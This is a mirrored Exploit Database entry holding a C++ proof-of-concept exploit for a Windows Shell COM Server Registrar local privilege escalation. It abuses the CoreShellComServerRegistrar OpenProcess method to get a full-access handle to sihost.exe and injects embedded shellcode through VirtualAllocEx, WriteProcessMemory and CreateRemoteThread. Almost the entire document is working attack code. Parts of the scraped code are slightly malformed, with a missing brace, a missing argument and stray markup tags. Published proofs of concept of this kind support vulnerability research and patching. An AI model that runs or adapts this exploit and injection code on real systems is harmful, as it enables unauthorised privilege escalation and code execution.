Microsoft Windows – Shell COM Server Registrar Local Privilege Escalation

Exploit Database
121 阅读

作者： 0vercl0k

日期： 2020-01-02
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/47880/

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// Axel '0vercl0k' Souchet - December 28 2019

// References:

//- Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun

//- https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object

//- https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp

//- https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp

#include <windows.h>

#include <cstdint>

#include <atlbase.h>

// 54E14197-88B0-442F-B9A3-86837061E2FB

// .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h; Data1

// .rdata:0000000000014108 dw 88B0h; Data2

// .rdata:0000000000014108 dw 442Fh; Data3

// .rdata:0000000000014108 db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4

const GUID CLSID_CoreShellComServerRegistrar = {

0x54e14197, 0x88b0, 0x442f, {

0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb

}};

// 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7

// .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h; Data1

// .rdata:00000000000140B8 dw 77F9h; Data2

// .rdata:00000000000140B8 dw 4AFEh; Data3

// .rdata:00000000000140B8 db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4

MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7")

ICoreShellComServerRegistrar : public IUnknown {

// 0:015> dqs 00007ff8<code>3fe526e8

// [...]

// 00007ff8</code>3fe5273000007ff8<code>3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface

// 00007ff8</code>3fe5273800007ff8<code>3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef

// 00007ff8</code>3fe5274000007ff8<code>3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release

// 00007ff8</code>3fe5274800007ff8<code>3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer

// 00007ff8</code>3fe5275000007ff8<code>3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer

// 00007ff8</code>3fe5275800007ff8<code>3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle

// 00007ff8</code>3fe5276000007ff8<code>3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess

virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0;

virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0;

virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0;

virtual HRESULT STDMETHODCALLTYPE OpenProcess(

const uint32_t DesiredAccess,

const bool InheritHandle,

const uint32_t ArbitraryPid,

const uint32_t TargetProcessId,

HANDLE *ProcessHandle

) = 0;

};

struct Marshalled_t {

uint32_t Meow;

uint32_t ObjRefType;

GUID IfaceId;

uint32_t Flags;

uint32_t References;

uint64_t Oxid;

uint64_t Oid;

union {

uint64_t IfacePointerIdLow;

struct {

uint64_t _Dummy1 : 32;

uint64_t ServerPid : 16;

};

uint64_t IfacePointerIdHigh;

};

int main() {

// Initialize COM.

HRESULT Hr = CoInitialize(nullptr);

if(FAILED(Hr)) {

printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back.");

return EXIT_FAILURE;

}

// Instantiate an out-of-proc instance of </code>ICoreShellComServerRegistrar<code>.

CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar;

Hr = ComServerRegistrar.CoCreateInstance(

CLSID_CoreShellComServerRegistrar,

nullptr,

CLSCTX_LOCAL_SERVER

);

if(FAILED(Hr)) {

printf("You are probably not vulnerable (%08x) bailing out.", Hr);

return EXIT_FAILURE;

}

// We don't use the copy ctor here to avoid leaking the object as the returned

// stream already has its refcount bumped by </code>SHCreateMemStream<code>.

CComPtr<IStream> Stream;

Stream.Attach(SHCreateMemStream(nullptr, 0));

// Get the marshalled data for the </code>ICoreShellComServerRegistrar<code> interface, so

// that we can extract the PID of the COM server (sihost.exe) in this case.

// https://twitter.com/tiraniddo/status/1208073552282488833

Hr = CoMarshalInterface(

Stream,

__uuidof(ICoreShellComServerRegistrar),

ComServerRegistrar,

MSHCTX_LOCAL,

nullptr,

MSHLFLAGS_NORMAL

);

if(FAILED(Hr)) {

printf("Failed to marshal the interface (%08x) bailing out.", Hr);

return EXIT_FAILURE;

}

// Read the PID out of the blob now.

const LARGE_INTEGER Origin {};

Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr);

uint8_t Buffer[0x1000] {};

Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr);

union {

Marshalled_t *Blob;

void *Raw;

} Ptr;

Ptr.Raw = Buffer;

const uint32_t SihostPid = Ptr.Blob->ServerPid;

// Ready to get a </code>PROCESS_ALL_ACCESS` handle to the server now!

HANDLE ProcessHandle;

Hr = ComServerRegistrar->OpenProcess(

PROCESS_ALL_ACCESS,

false,

SihostPid,

GetCurrentProcessId(),

&ProcessHandle

);

if(FAILED(Hr)) {

printf("Failed to OpenProcess (%08x) bailing out.", Hr);

return EXIT_FAILURE;

}

// Allocate executable memory in the target.

const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx(

ProcessHandle,

nullptr,

0x1000,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE

));

if(ShellcodeAddress == nullptr) {

printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError());

return EXIT_FAILURE;

}

// This is a CreateProcess(calc) shellcode generated with scc, see payload.cc.

const uint8_t Shellcode[] {

0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec,

0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0,

0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48,

0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53,

0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48,

0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74,

0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45,

0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46,

0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83,

0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41,

0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45,

0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8,

0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20,

0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9,

0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b,

0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41,

0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3,

0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3,

0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33,

0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83,

0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41,

0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb,

0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d,

0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66,

0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03,

0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54,

0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8,

0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb,

0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8,

0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48,

0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48,

0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b,

0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff,

0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00,

0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff,

0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41,

0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d,

0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00,

0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00

};

if(!WriteProcessMemory(

ProcessHandle,

ShellcodeAddress,

Shellcode,

sizeof(Shellcode),

nullptr

)) {

printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError());

// At least clean up the remote process D:

VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);

return EXIT_FAILURE;

}

// Creating a remote thread on the shellcode now.

DWORD ThreadId;

HANDLE ThreadHandle = CreateRemoteThread(

ProcessHandle,

nullptr,

ShellcodeAddress,

nullptr,

&ThreadId

);

// Waiting for the thread to end..

WaitForSingleObject(ThreadHandle, INFINITE);

// All right, we are done here, let's clean up and exit.

VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);

printf("Payload has been successfully injected in %d.", SihostPid);

return EXIT_SUCCESS;

}